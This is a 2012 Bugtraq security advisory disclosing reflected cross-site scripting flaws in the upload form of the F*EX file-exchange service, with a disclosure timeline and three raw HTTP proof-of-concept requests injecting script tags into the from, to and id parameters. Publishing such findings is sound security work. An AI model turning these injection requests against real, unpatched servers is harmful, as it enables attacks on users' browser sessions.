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Message-ID: <CAPhqm0PJdVDFtYqvtCWBjkNEFRHa_6rAVpjuc3nwA+=ck=n=KQ@mail.gmail.com> Date: Mon, 20 Feb 2012 22:47:54 +0100 From: muuratsalo experimental hack lab <muuratsalo@...il.com> To: bugtraq <bugtraq@...urityfocus.com> Subject: F*EX <= 20100208 Cross Site Scripting Vulnerabilities ------------------------------------------------------------------------ F*EX <= 20100208 Cross Site Scripting Vulnerabilities ------------------------------------------------------------------------ title.............: F*EX <= 20100208 Cross Site Scripting Vulnerabilities author............: muuratsalo contact...........: muuratsalo[at]gmail[dot]com download..........: http://fex.rus.uni-stuttgart.de/fex.html tested on.........: Debian 6.0.4 (squeeze) - package fex_20100208+debian1-1+squeeze1_all.deb ======================================================================== muuratsalo | muuratsalo experimental hack lab is a proud member of the Revshell.com community ======================================================================== [0x01] Software overview F*EX (Frams's Fast File EXchange) is a service (GPL software) that can be used to allow users anywhere on the Internet to exchange files of ANY size quickly and conveniently. The sender uploads the file to the F*EX-server and the recipient automatically gets a notification e-mail with a download-URL. The sender must be a registered user in opposite to the recipient. ======================================================================== [0x02] Vulnerabilities overview F*EX <= 20100208 suffers from multiple Cross Site Scripting attacks (Reflected) in the WWW upload form. ======================================================================== [0x03] Disclosure timeline [2012-02-01] - Multiple vulnerabilities discovered and reported to the author of the software. [2012-02-02] - The author confirmed the vulnerabilities and applied the suggested fixes. [2012-02-03] - Further analysis requested. [2012-02-13] - Very minor security hints applied. [2012-02-15] - F*EX major update - 20120215 [2012-02-20] - Public disclosure ======================================================================== [0x04] Vulnerabilities ------------------------------------------------------------------------ ------------------------------------------------------------------------ *** Cross Site Scripting (Reflected) -- http://localhost:8888/fup [from parameter] *** POST /fup HTTP/1.1 Host: 192.168.1.3:8888 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://192.168.1.3:8888/fup Content-Type: multipart/form-data; boundary=--------1922591683 Content-Length: 233 ----------1922591683 Content-Disposition: form-data; name="id" ----------1922591683 Content-Disposition: form-data; name="to" ----------1922591683 Content-Disposition: form-data; name="from" 38c66<script>alert(1)</script>b08f61c45c6 ----------1922591683-- ------------------------------------------------------------------------ ------------------------------------------------------------------------ *** Cross Site Scripting (Reflected) -- http://localhost:8888/fup [to parameter] *** POST /fup HTTP/1.1 Host: 192.168.1.3:8888 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://192.168.1.3:8888/fup Content-Type: multipart/form-data; boundary=--------1922591683 Content-Length: 233 ----------1922591683 Content-Disposition: form-data; name="id" ----------1922591683 Content-Disposition: form-data; name="to" 38c66<script>alert(1)</script>b08f61c45c6 ----------1922591683 Content-Disposition: form-data; name="from" ----------1922591683-- ------------------------------------------------------------------------ ------------------------------------------------------------------------ *** Cross Site Scripting (Reflected) -- http://localhost:8888/fup [id parameter] *** GET /fup?id=38c66"><script>alert(1)</script>b08f61c45c6&to=%0d&from=%0d HTTP/1.1 ------------------------------------------------------------------------ ------------------------------------------------------------------------
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